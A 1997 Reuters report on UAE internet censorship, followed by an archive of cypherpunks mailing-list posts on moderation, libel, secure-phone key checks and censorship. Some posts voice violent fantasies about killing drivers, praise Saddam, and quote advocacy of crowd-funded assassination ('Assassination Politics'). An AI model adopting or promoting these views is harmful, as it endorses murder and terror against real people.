   Previous Story: UK Bill To Fight Millennium Computer Bug Moves On
   Next Story: Intel to Europe: Get Online Or Fall Behind
     _________________________________________________________________
                                      
   Monday January 27 9:50 AM EST 
   
UAE Launches Service To Censor Internet

   DUBAI - The United Arab Emirates's monopoly Internet provider launched
   a service Saturday to censor sites in cyberspace that breached local
   moral values and traditions.
   
   Officials from state telecommunications company Etisalat said the new
   Proxy Service would be compulsory for the UAE's 9,669 subscribers, who
   will have to configure their web browsers that navigate the net by
   February 2.
   
   "The service was launched today as part of our efforts to improve the
   Internet service to our subscribers after lengthy study and research,"
   said one official at Etisalat.
   
   "We were working on it before some official statements were made on
   the need to control access to some sites on the service," he told
   Reuters.
   
   The move follows repeated calls to regulate access to the Internet in
   the conservative Gulf region, where most women are veiled, magazine
   pictures revealing cleavage or bare legs are blacked out and
   questioning the existence of god can be punishable by death.
   
   Some are worried about the spread of pornography as well as religious
   and political material through the worldwide network of interlinked
   computers.
   
   Last year, Dubai Police chief Major General Dhahi Khalfan Tamim
   created a rare public row in the UAE saying the information ministry
   and the police, rather that Etisalat, should be authorized to issue
   Internet licenses as it was their job to monitor data coming into the
   UAE and maintain security.
   
   Telecommunications experts say the Proxy Service will not be "fully
   water-tight," but would help block access to known and unwanted sites
   -- a list of which could be constantly updated.
   
   The proxy server will be pre-fed with Internet addresses where access
   is blocked off, industry sources said. But the server will be unable
   to block access if addresses of prohibited sites are changed, as
   frequently happens.
   
   Etisalat says it will disconnect any customer who abused its Internet
   services and violated "order and clear laws."
   
   "Singapore has succeeded to a great extent in its drive to control
   harm done by the Internet," said another Etisalat official. "Why
   cannot we?"
   
   Singapore government measures to regulate political and religious
   content on the Internet and keep it free of pornography became
   effective in July last year. They require all Internet service
   operators and local content providers to be registered with the
   Singapore Broadcasting Authority.
   
   Copyright, Reuters Ltd. All rights reserved
   
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   Previous Story: UK Bill To Fight Millennium Computer Bug Moves On
   Next Story: Intel to Europe: Get Online Or Fall Behind
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                            Entertain | Health ]
                                      
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                              Reuters Limited
                                      
   
   
    Questions or Comments





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 14:12:22 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701282212.OAA04711@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


aga wrote:
> On Tue, 28 Jan 1997, Dale Thorn wrote:
> > Igor Chudov @ home wrote:
> > > Dale Thorn wrote:

> > But seriously, I was just telling the folks over the weekend, if I
> > had my hand on the button, a lot of people would die very quickly.
> > As in The Day The Earth Stood Still, a single act of aggression would
> > suffice to be immediately terminated.  The best place to begin, in
> > the USA at least, would be the public freeways.  There you have the
> > most acts of aggression in a short space, and the best pickings for
> > liquidation.  Give me the power, and I'll show you all those nifty
> > techno-ways of eliminating people that have been kept from the public
> > by our benevolent government ("sources and methods").
> >
> > BTW, I don't give a damn about someone "cutting me off", since I'm
> > not aggressive enough (outside of my liquidation duties) to be bothered
> > by that in most cases.  I'm primarily concerned with vehicles who get
> > too close behind, who pass with no safety margin, etc.  I call these
> > people anal-compulsive (as opposed to anal-retentive).  You've seen
> > the videos on PBS, the various animal species whose male members
> > perform occasional "mounting" of others to intimidate.  There are a
> > large percentage of humans who try to do the same thing, demonstrating
> > that they (IMO) have no further need of their lives.

> Boy, it is a fucking Bitch living in that L.A. traffic, huh?

I heard years ago that approximately 10% of the people on the street
are certifiably mentally unstable.  Multiply that by two at least for
Los Angeles (suburban L.A., actually, Hollywood for example is much
safer than Altadena or Westlake Village).

Quincy M.D. (the old TV show) did an excellent piece once on how a
person can more-or-less legally commit murder with a car, by passing
a deliberate act off as an "accident".  It's one area of our law
enforcement where the law (or rules) as stated by the state and as
enforced by the state cops don't even agree.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: OKSAS <oksas@asimov.montclair.edu>
Date: Tue, 28 Jan 1997 14:11:57 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701282211.OAA04676@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




On Tue, 28 Jan 1997, aga wrote:

> On Tue, 28 Jan 1997, Igor Chudov @ home wrote:
> 
> > Dale Thorn wrote:
> > > 
> > > Kevin L Prigge wrote:
> > > > paul@fatmans.demon.co.uk said:
> > > 
> > > > > "cypherpunks will make the networks safe for censorship"
> > > 
> > > > "Idiots will make the networks require censorship"
> > > 
> > > The line above this one says it all, doesn't it?  If I judge you to
> > > be "an idiot", then, if I also have the power to shut you up, I can
> > > not only shut off your "noise" from me, but also prevent anyone else
> > > from hearing you as well.  That's the real beauty of censorship -
> > > if I have the power, I can make you a non-person by preventing most
> > > people from hearing you at all.  Oh, lovely, isn't it?
> > > 
> > 
> > Don't you like power, Dale?
> > 
> > 	- Igor.
> > 
> 
> Power corrupts, in some instances.


Instances where the power is concentratted to one individual
or small group of individual....






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jbugden@smtplink.alis.ca
Date: Tue, 28 Jan 1997 14:13:53 -0800 (PST)
To: ravage@einstein.ssz.com>
Subject: RE: Libel/slander & crypto relevancy
Message-ID: <199701282213.OAA04787@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@EINSTEIN.ssz.com> wrote:
I have received several private emails inquiring into what possible crypto
relevance the recent exchange over libel/slander and the law. It is clear
that even in democratic countries like Canada (not know as a freedom of
speech protectorate) slander/libel is covered under criminal codes. While
it is true that currently these statutes are not heavily used, if at all,
this will change as businesses and special interest groups move even further
onto electronic networks. Consider the zealous use of the law by the CoS.
Ask Julf if the ramifications are not 'real world'.
 
                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com
    
Not one to ever let a mention of Canada go unchallenged - even when it is a
simple fact or a compliment - I thought I should jump into the discussion.
 
Like the CoS, many companies have threatened libel actions as a means to silence
people. The McLibel Two in Britian quickly come to mind.
 
However, also like the Cos, many companies are finding that the net effect of
these libel suites are not in their favour even when they win.
 
Some brilliant examples of subversive use of trademarks can be found at the
site: http://www.adbusters.org
 
Specific examples:
http://www.adbusters.org/Corporate/Greasestick.html
http://www.adbusters.org/Gallery/spoofabs.html
http://www.adbusters.org/Corporate/Kalvin.html
 
A little clever marketing could go a long way to promoting privacy issues in the
public consciousness. Perhaps an NSA Friends and Family calling plan?
 
James






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.crl.com>
Date: Tue, 28 Jan 1997 13:57:27 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701282157.NAA04110@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Mon, 27 Jan 1997 paul@fatmans.demon.co.uk wrote:

> The list has been disentigrating for some time since the disgusting 
> incident when Dimitri was forcibly unsubscribed from the list. 

I'm curious about the gratuitous use of the word "forcibly" by
Paul.  Does this mean Gilmore took a fire axe to the computer or
something?  Dimitri was unsubscribed.  It was done more or less
against his will.  ("More or less" because he in effect said to
John, "bet you can't stop me.")  What does "forcibly" add to this
discussion besides melodrama?  No force was required.  John had
the right and ability to pull the plug on Dimitri.  "No animals
were harmed in the making of this film."  "Force," my ass.

> have also been a number of postings from members of the list claiming 
> to understand anarchism who support censorship to "protect new 
> members of the list".

There are various definitions of "censorship" and various flavors
of anarchism.  I'm a market anarchist, Paul is not.  Paul claims
to believe that any form of moderation is censorship.  I think
that enforcing standards of decorum on a private, voluntary list
are not censorship.  Reasonable minds may differ.  I acknowledge 
that Paul's interpretations are not without some justification.
(I just think they are incorrect in the instant case.)  Paul, on
the other hand, seems to be a True Believer.  He brooks no view
other than his own.  (Curiously hypocritical under the 
circumstrances.)
 
> So, there would be no intellectual dishonesty in a country claiming 
> to be a free and open society "trying out" fascism for a month or 
> two? - After all it`s a private country just as this is a private 
> list....

Paul's sophistry is showing.  Nation-states are entities that
exercise a monopoly on the use of force (real force, Paul)
within (and often without) their boundries.  Mail lists are far
more like private homes, businesses or clubs.  When you are a
guest there, you are subject to their rules of behavior.

> There is a clear trend easily observable on the list whereby certain 
> members postings are censored when their content is of a standard 
> that, if the moderation were objective and based on content alone, 
> would warrant their being sent to the censored list.

Several substantive examples, please.  True, nothing Bill Stewart
has posted has been sent to CP-Flames.  One guess why.  Numerous
posts by Dimitri have been posted to CP-Moderated, but many more
have not made the cut.  There are much more obvious reasons for
this than Paul's biased analysis.
 
> I can tell you one other thing for sure, even if the moderation 
> "experiment" were to end in a month as a last ditch attempt by John 
> Gilmore and Sandy Sandfort to recover some of their lost credibility 
> it would be a vain and entirely unsuccesful attempt.

YMMV.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 28 Jan 1997 14:12:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Libel/slander & crypto relevancy (fwd)
Message-ID: <199701282212.OAA04749@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Tue, 28 Jan 1997 01:28:19 -0800
> From: Greg Broiles <gbroiles@netbox.com>
> Subject: Re: Libel/slander & crypto relevancy
> 
> Civil actions against people doing "graffiti" are only interesting where
> the defendant has assets worth suing for. This economic dimension
> substantially limits the number of suits which will be brought.

Thank you for agreeing with my thesis that the legal industry is one
driven by monetary gain and not justice. It is the one major problem
with law today, it ignores those who are not 'worth it'. Justice is
supposed to be blind and until that happens there can be no true
liberty. Law should be involved in rights and wrongs and not 'how much
money do I need to buy that villa in Spain'.

There is also the aspect of 'reputation' of the organization which was
defamed. This will become even more critical to good business over the
Internet in the future than it is now. Now the only really important
'reputation' that one has to worry about is their credit report. Since
it is very unlikely that such records will be made public in the future
they won't be available so some other 'reputation' verification process
will be required for parties interested in doing business with other
parties they have no information on other than an email address or a
webpage. This problem became very clear during the Austin Cypherpunks
remailer project last year. The goal was to create a economicaly viable
keyserver. The problem rapidly became one of trust and reputation and
there was and still is no clear cut methodology for dealing with these
concepts, let alone actualy trying to quantify them. Another aspect of this
that keeps coming up is one of 'big' corporations with 'lots' of money,
this monotonicity in legal thought is the reason I refer to the 'legal
industry' and not 'legal profession'. Currently the main force driving
law is how much money is available. Expansions of liberty simply can't
happen in this environment because there is no mechanism to protect
'little' organizations or persons without 'lots' of cash. This problem is
one that is not being addressed by anyone, most especialy lawyers who
will loose income which they aren't apt to do voluntarily.

> Criminal prosecutions for defamation (in the case of "graffiti") are still
> unlikely - a much more straightforward charge would be unauthorized access
> to a computer or some flavor of fraud, depending on the facts.

This would be hard to do in the situation such as a mailing list because
the parties would have 'authorized access' and it does not include the issue
of inside parties nor 'web bbs's' where parties can enter comments and
other statements in a 'authorized' manner. There are mechanisms to use 
computers for abuse of other parties besides hacking.

> Confusion
> aids defendants, so I predict prosecutors will avoid defamation law (and
> its tar pits of actual malice and the defense of truth) when they are able
> to do so and still have a reasonable chance of conviction.
> 
> >If they don't
> >understand the technology (eg forwarding private email to publicly
> >accessible lists by accident) how in the world are they going to understand
> >what is best, let along convince anyone else?
> 
> There's a world of difference between understanding technology and screwing
> up once in awhile.

Absolutely. However, if there is not a fundamental understanding of the
technology and its ramifications I certainly wouldn't want somebody making
a case on my behalf because they would make assumptions which were not
based in fact. In Toto's case the point I was refering to was not his
sending private practice related material to a publicly accessible list
(pretty reprehensible for my attorney accident or not) but rather his
unsolicited admission that he didn't have any idea how it works. THAT
would worry me if my liberty, possessions, or life were on the line.

> I was that "party", and I guess that in trying to be civil I was actually
> unclear. If you were a politically important person or organization, and if
> Toto's message had caused you real damage, and if Toto were reasonably
> available to prosecute, a prosecutor might get interested. But you're not
> important, Toto would be difficult to extradite, and you weren't harmed. So
> you picked a crappy example to make your point(s) with. Change the facts,
> and you'll get a different answer. Duh.

Actualy it is the PERFECT example of what is wrong with the law, it is the
reason that I went to such extremes to force the situation. If the law
can't protect Ma. and Pa. Kettle (their poor, being share croppers) under
our 'democracy' it shure can't proctect them under a more 'liberalized'
democracy which so many want and the technology will force. If the
coming technocracy can't (or for monetary reasons won't) then it won't
be any different that what we have now. A tyrant is a tyrant, my goal
is to get rid of the cage and not to put a new layer of gilt on it.

> You picked a hypothetical which did a poor job of illustrating the points
> you're making in this later message. Do you want to talk about whether or
> not Toto is criminally liable for making fun of you while making a point
> about ownership of networks and its relationship to freedom of speech, or
> do you want to talk about the more general case of liability for
> misattribution? If it's the latter, yes, there are some issues there, but I
> still think that defamation law is a poor way to address them. You seem to
> be having an "I've got a hammer, everything looks like a nail" problem. 

The point is not whether Toto did or did not make fun of me, you seem to
have a prediliction for personal attacks. It ain't.

The point is that if joe-six-pack isn't secure in knowing that his views
and expression are not protected from abuse he won't use it. We all loose
in that case.

> And all of this seems a bit contrived if the real crypto-relevant point is
> "use digital signatures to avoid misattribution". 

You missed the point, keep pondering. I am shure it will come to you.

> Despite your closing, I haven't seen you write anything about "how it
> should be", 

Because I don't know how it should be, and it isn't my place or yours to
make that decision. It is our responsibility to discuss this issue and
to review the various solutions and what they will mean in the long run
(as near as we can make the future out that is).

In this example, if party A makes a statement and then B changes it and
then re-distributes it as original comments by A then there is a problem
irrespective of the monetary worth of A or B. Digital signatures in and of
themselves won't help this from happening unless it is required to include
the full text and signature of any quote in any subsequent use of that
material otherwise the quote and the digital signature are out of sync and
therefore worthless.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 28 Jan 1997 14:12:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701282212.OAA04677@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
> Subject: Re: Fighting the cybercensor. (fwd)
> Date: Mon, 27 Jan 1997 21:36:13 -0500
> 
> I don't agree with your view of states. The inhabitants of a
> geographical area are not mere chattels of the governing power.

Exactly! By jove you got it! By demanding your liberty but demanding
that 'we' go to Singapore or anywhere else and treat them as chattels
we have clearly instituted a double-standard. Most parties in this
discussion still haven't made that distinction.

All we have done is replace their current tyrant with a new one, mainly 
us.

> The right to rule rests on certain criteria which I believe neither 
> country meets. The harassment of opposition politicians in
> obviously trumped up charges disqualifies any country from
> calling itself a democracy.

Exactly. And by applying pressure on Singapore we only help them keep
that tyrany in place. The quickest way I know to make a social institution
band together is self-preservation from an outside threat, real or
perceived.

> I am a cyber-revolutionary and the world has bought into
> the chaos of our revolution. I never intended the Web to be a tool
> for confirming the present social order which is manifestly 
> corrupt.

ALL social orders are corrupt. The 3 laws of thermodynamics apply to
everything including social institutions.

1. You can't get ahead
2. You can't break even
3. You can't quit the game

                  Heinz Pagels (RIP)


                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Blossom <eb@comsec.com>
Date: Tue, 28 Jan 1997 13:56:39 -0800 (PST)
To: aba@dcs.ex.ac.uk
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
Message-ID: <199701282156.NAA04042@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>> It is not clear you need signatures in the secure phone case.  Eric
>> Blossom's 3DES uses straight DH for key exchange with verbal verification
>> that both ends are using the same key.  
>
>How does Eric's box display the negotiated key to the user?  (I don't
>recall the pair I saw having displays).

Latest versions have an LCD display that reports the type of crypto
being used (3DES), as well as 24 bits worth of SHA-1 of the public
exponentials exchanged.  Alice sends g^x mod p, Bob sends g^y mod p.
Let m = min(g^x mod p, g^y mod p) and n = max(g^x mod p, g^y mod p).
compute v = SHA (concat (OCTET_REP (m), OCTET_REP (n))).  Display the
high 24 bits of v.

>Also I thought it would be kind of cute if there were some way for
>phones to exchange their signature keys `face to face' as well.

Currently, absent some kind of widely deployed public key
infrastructure, there are no signature keys used.  This also means
that the units do *not* contain any long term secrets, just the
session key which is destroyed at the end of the call.

Eric






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Tue, 28 Jan 1997 14:12:14 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701282212.OAA04695@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 28 Jan 1997, Dale Thorn wrote:

> aga wrote:
> > On Tue, 28 Jan 1997, Dale Thorn wrote:
> > > Igor Chudov @ home wrote:
> > > > Dale Thorn wrote:
> 
> > > But seriously, I was just telling the folks over the weekend, if I
> > > had my hand on the button, a lot of people would die very quickly.
> > > As in The Day The Earth Stood Still, a single act of aggression would
> > > suffice to be immediately terminated.

No trial, huh?

  The best place to begin, in
> > > the USA at least, would be the public freeways.  There you have the
> > > most acts of aggression in a short space, and the best pickings for
> > > liquidation.  Give me the power, and I'll show you all those nifty
> > > techno-ways of eliminating people that have been kept from the public
> > > by our benevolent government ("sources and methods").
> > >
> > > BTW, I don't give a damn about someone "cutting me off", since I'm
> > > not aggressive enough (outside of my liquidation duties) to be bothered
> > > by that in most cases.  I'm primarily concerned with vehicles who get
> > > too close behind, who pass with no safety margin, etc.  I call these
> > > people anal-compulsive (as opposed to anal-retentive).  You've seen
> > > the videos on PBS, the various animal species whose male members
> > > perform occasional "mounting" of others to intimidate.  There are a
> > > large percentage of humans who try to do the same thing, demonstrating
> > > that they (IMO) have no further need of their lives.
> 
> > Boy, it is a fucking Bitch living in that L.A. traffic, huh?
> 
> I heard years ago that approximately 10% of the people on the street
> are certifiably mentally unstable.  Multiply that by two at least for
> Los Angeles (suburban L.A., actually, Hollywood for example is much
> safer than Altadena or Westlake Village).
> 

Just carry a gun all of the time when you go over there.

> Quincy M.D. (the old TV show) did an excellent piece once on how a
> person can more-or-less legally commit murder with a car, by passing
> a deliberate act off as an "accident".  It's one area of our law
> enforcement where the law (or rules) as stated by the state and as
> enforced by the state cops don't even agree.
> 

Maybe it is best to travel only on the net any more.
The highways are deathtraps.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 28 Jan 1997 13:59:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199701282159.NAA04160@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:00 PM 1/27/97 EST, Dr.Dimitri Vulis KOTM wrote:
>blanc <blancw@cnw.com> writes:
...
>> 2) Why do you suppose the Iraqis haven't already thought of doing this
>> themselves?
>
>Perhaps because they love Saddam, who really is a great guy. Stop listening
>to what U.S.gubmint and media tell you and use your brain.  What did
>Saddam do to _you?
Those of us in the US have the luxery of secret ballots, Iraq is not.  What
was reported to me (by the media) was that those who decided to vote against
Hussein, in a time when food was scarce, decided to vote against eating.  It
was not made illegal to vote him out, merely a catch 22, unless enough
people agreed openly, the vocal minority would suffer.  What we should have
been doing as the troops pulled out and a no fly zone was being established
was dropping bombs full of bread on the populus.  Then they could have voted
any which way they chose.

...
>> Destructive people often ascend to positions of power not simply because
>> they are ruthless, but because they have 1) many sycophantic followers and
>> 2) many ignorant, vulnerable people unable to prevent it.  You might be
>> able to kill off  one Saddam, but potentially many others would be waiting
>> in the wings to take his place.   The situation surrounding the existence
>> of someone like Saddam is part of the contributing factors which keeps him
>> there, not simply that one man himself.  It was the same with Hitler and
>> with so many others  -  they don't just have an excess of  "power"
>> concentrated within themselves which puts them in positions of control over
>> others  - there will have been many people who will have helped put them
>> there, expecting to derive benefits from it.
>
>I don't like your Saddam example, having much admiration for the man, but
>again this goes back to the perceived likelihood of future assassination.
>If Saddam is killed in an unlikely event, he will be succeeded by someone
>who does not fear assassination. If all potential successors are convinced
>that the rubout can be repeated, they won't go for the job. Remember, the
>purpose of "terrorism" is not just to kill someone, but to "terrorize".
>
>> And what will be done about all those people who made this "power"
>> possible?  You don't just kill the one man and be done with it - you have
>> to also "kill" the conditions which maintained him.
>
>You rub out enough key people and terrorize their potential successors
>into not wanting to take over their jobs, and the system collapses.
...

I don't remember where I heard this, and in all likelyhood, I heard it here.
This is certainly not a direct quote, ant would the origional poster please
speak up.

There came a time, in some ancient civilization when the king committed
suicide by eating poisoned food.
In the remaining week, most of the household, apparently in honor of the
deceased king, jumped on kitchen knives and butcher knives, killing themselves.
The brother of the king would not come out of hiding because some unknown
person was terrorizing him with a meat cleaver.
After a year, it was apparent that no one in the line of succession still
survived, all killing themselves with kitchen utensils.  It was rumored that
the post was cursed.  It was then that the royal galley slave bravely
stepped foreward to rule the kingdom until one of the origional line should
return.
The decendants of the galley slave have ruled to this day.

Like I said, I don't know where this came from, but I would like to see it
again, if it came from here.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Derek Atkins <warlord@MIT.EDU>
Date: Tue, 28 Jan 1997 14:46:19 -0800 (PST)
To: Erp <erp@digiforest.com>
Subject: Re: Best Computer School?
Message-ID: <199701282246.OAA05596@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Erp <erp@digiforest.com> writes:

> On Mon, 27 Jan 1997, SpyKing wrote:
> 
> > This is a little off topic but maybe someone can help. I've got a teenage
> > son (HS sophomore) who's interested in majoring in computer science in
> > college with a particular interest in cryptography. He's leaning toward MIT.
> > Any suggestions from list members as to colleges to investigate? 
> 
> Well in reference to MIT..  I hope he has a 4.0 in highschool, is an
> allsport, has a 1600 on his SAT's, and a prefect on his ACT..  Just to
> even think about going there..  Let alone to include how well he'll have
> to do on his interviews etc..  Also you may wish to have him look again at

This is really exagerating.  You do not need a 4.0, 1600, etc. to be
admitted to MIT.  Sure, you need good grades, but a 3.6 average and
1350-1400 SAT scores is perfectly adequate to be admitted to MIT.  You
can think of being admitted with even lower scores, if you stand out
in some way.  MIT admissions looks for well-rounded students.  You're
much better off being a writer/artist/musician than being on the
science or math teams.

> what he wants to be before he goes to some major college such as MIT,
> because tuition at MIT costs approx 100,000$/4 years.  Personally that is
> a hell of a lot, but then again *shrug*...  I recommend going to a local

It may be alot, but then again MIT is one of the best schools in the
world (I'm not going to be egotistical enough to say it *is* the best,
even tho Consumer Reports rated it such for the last N years).

> small college, get his associates, see if that is what he still wants to
> do, then go on from there.  I know many people that started in Computer
> Science and died after the first year.  
> Now colleges that are good for Computer Sc ience..  I have heard that RIT
> is good..  but I'm nto sure on that..  I know pretty well positive that
> MIT is excellent, but when you get down to the basics MIT is more of an
> engineering school than a science/philosophical school which Computer

This is untrue.  The computer science department at MIT is really
good.  As are the sciences, and even business!  The MIT Sloan School
(Management and Economics) was rated #1 last year.  The EECS
department (EE and CS are together) is top notch, too.

Ciro Maria <cmaria@stevens-tech.edu> writes:

> Yeah Stevens Institute in Hoboken. Its pretty good I got there. Also
> Caltech is good, I don't really know which else.

When I looked at Caltech, their Engineering (and computer science)
really lacked.  They were excellent for the Sciences (Math, Physics,
Chemistry, etc.) but their engineering school wasn't as good as others
I was looking at (both EE and CS).  Things may have changed in the
last 8 years, however.


Spyking, my advise to you: Look around at many schools.  Go visit
them.  Talk to the students there.  Talk to the professors.  Talk to
graduates.  The more information you and your son have, the better
decisions you and he can make.

Personally, I loved MIT -- it was the right place for me.  It isn't
the right place for everyone.  Make sure it is the right place for
your son before he applies.  For what it's worth, I wanted to go to
MIT my sophomore year in high school, too ;)

Good Luck,

-derek

-- 
       Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory
       Member, MIT Student Information Processing Board (SIPB)
    Home page: http://www.mit.edu:8001/people/warlord/home_page.html
       warlord@MIT.EDU    PP-ASEL     N1NWH    PGP key available





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 28 Jan 1997 14:12:32 -0800 (PST)
To: "'dthorn@gte.net>
Subject: RE: Fighting the cybercensor
Message-ID: <199701282212.OAA04726@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>That's it?  The system collapsed because the guards left their posts?
>And no mutiny charges?  Incredible.

I was there.

The collapse of East Germany was quite spectacular. There
was at most three months of warning. First there was a series
of sit ins at foreign embassies, then a migration of large 
numbers of people in their twenties within the eastern block.

I missed the actual collapse of the wall itself having to go
to England. I was told of the sequence of events by friends in
Berlin. 

By this time the protestors were confident enough to stage
open demonstrations. The authorities had tolerated small
scale demonstrations for some time provided they did
not appear to be part of a larger movement. The sudden 
increase in numbers from tens to tens of thousands left
the authorities unsure of what to do. They could not be
sure of the reliability of the police should they attempt 
to violently suppress the demonstrations. To imprison the
ringleaders was equally dangerous. The communists were
aware that the South Africans had continued to be troubled
by Mandela and Biko long after they were imprisoned or 
murdered.

At some point a group of protesters approached the wall,
probably hoping to goad the police into making an arrest.
The guards made no response and the numbers increased to
the point where firing of warning shots was impossible
without causing a massacre. West German protesters joined 
from the other side of the wall. The border guards did try 
to use a water cannon but to little effect since the
range was insufficient.

At some point someone appeared with a sledge hammer and a
pickaxe. Some people say that this was at the start of the 
protest, others that someone fetched them. I have heard 
people who believe that they were brought from either side
of the wall. They started attacking the wall and soon had 
removed one of the panels.

Next day the border guards quite literally abandoned their 
posts. The Brandenburg gate was opened for the first time 
in fifty years and the party apparatus all but collapsed.


The only military activity during this period was GDR forces
preparing against possible invasion by Soviet forces. Not that
this was a logistical possibility since it was unlikely they 
would get across Poland unopposed.


Read Norman Davies book "Europe a history" if you want to find
out the background for the velvet revolution. It is one of the
most amazing events in political history. It is a pity that
people have forgotten so quickly about the real causes. It
was not military power that prevailed but the protest movement.

Unfortunately US commentators tend to see everything in terms of
US cultural norms, many of which were explicitly rejected by the
protestors. The East Germans wanted West German affluence, they
wanted to be part of Western Europe. They were certainly not 
responding to US military spending as right wing theorists claim, 
nor was the economy collapsing because of the arms race, it
was collapsing because of the costs of a totalitarian state and
the incompatibility of that state with modern industrial 
organization.


	Phill






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 28 Jan 1997 14:12:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199701282212.OAA04712@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:47 PM 1/27/97 -0800, jim bell wrote:
...
>You misunderstand AP, yet again.  AP doesn't really take votes, it merely 
>totals donations.  It is an essential element of the AP system that even a 
>tiny minority should be able to kill individuals who are seen as threats, as 
>long as this capability is universal.  True, the smaller the minority the 
>more uneconomical such an action would be for them, but it would be well 
>within the ability of 1% of the population to avoid a another Holocaust by 
>getting rid of those pushing for it.
>
>In the current political system, in the US for instance, 51% of the 
>population is able to screw the remaining 49%, just as long as they can 
>maintain the majority.  Or, perhaps even more accurately and ominously, a 
>tiny fraction of the population (the current leadership class) is able to 
>screw the 49%, as long as they have the un-thinking backing of the remaining 
>and relatively uninvolved 51%.
>
>AP disables this system.  AP turns government into the moral equivalent of a 
>pick-up football game:  Nobody is being forced to play, and everybody and 
>anybody can simply "get up and leave" whenever he wants to.  The moment the 
>"rules of the game" to make an individual's continued participation 
>unsatisfying, he can leave.
>
...
In our society, which, if I remember correctly, 10% of the population
control 90% of the wealth, AP would only lead to 10% of the population being
able to screw the remaining 90%.  At least as it is, it takes a simple majority.

As for the murder of the rich, here is a scenerio.

A collection of poor pool their capitol to have a tyrant killed.
The tyrant assembles a counter-wager saying that anyone able to prove thier
ability to kill him without harming him, and who can show they got through
will get 110% of the poor's bid.
The household is told that a standing bounty has been placed with a
collection of individuals, on the head of the trigger man involved in the
tyrants murder.
The poor can not hope to match the tyrants bid as they only have 10% of the
wealth, the household knows that thier participation in an attempt on the
tyrant will get them killed.  Even if the attempt was successful.
The people from the outside who would benefit from the bounty benefit more
by taking the tyrants offer and then trying again, i.e. tiger teams.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Somebody <nowhere@erewhon.org>
Date: Tue, 28 Jan 1997 13:56:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Sovreign Right of Lawful Access
Message-ID: <199701282156.NAA03998@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


This morning at the RSA keynote, David Aaron, the US Crypto ambassador
quoted the "Sovreign Right of Lawful Access" as
something that goverments were determined to preserve.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Theodor.SCHLICKMANN@bxl.dg13.cec.be
Date: Tue, 28 Jan 1997 13:13:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: How to subscribe
Message-ID: <199701282113.NAA02325@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




I have learned from the discussions in this list that there are other lists related to this one. Can anybody send me information on what is available and when this confusion  created by having different lists will stop.

cypherpunks : unmoderated and uncensored
cypherpunks : unmoderated and censored
cypherpunks : moderated   and uncensored
cypherpunks : moderated   and censored
cypherpunks : US eyes only -- export restrictions
cypherpunks : Europe 
cypherpunks : private mail

Theodor W. Schlickmann 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mullen, Patrick <MullenP@ndhm06.ndhm.gtegsc.com>
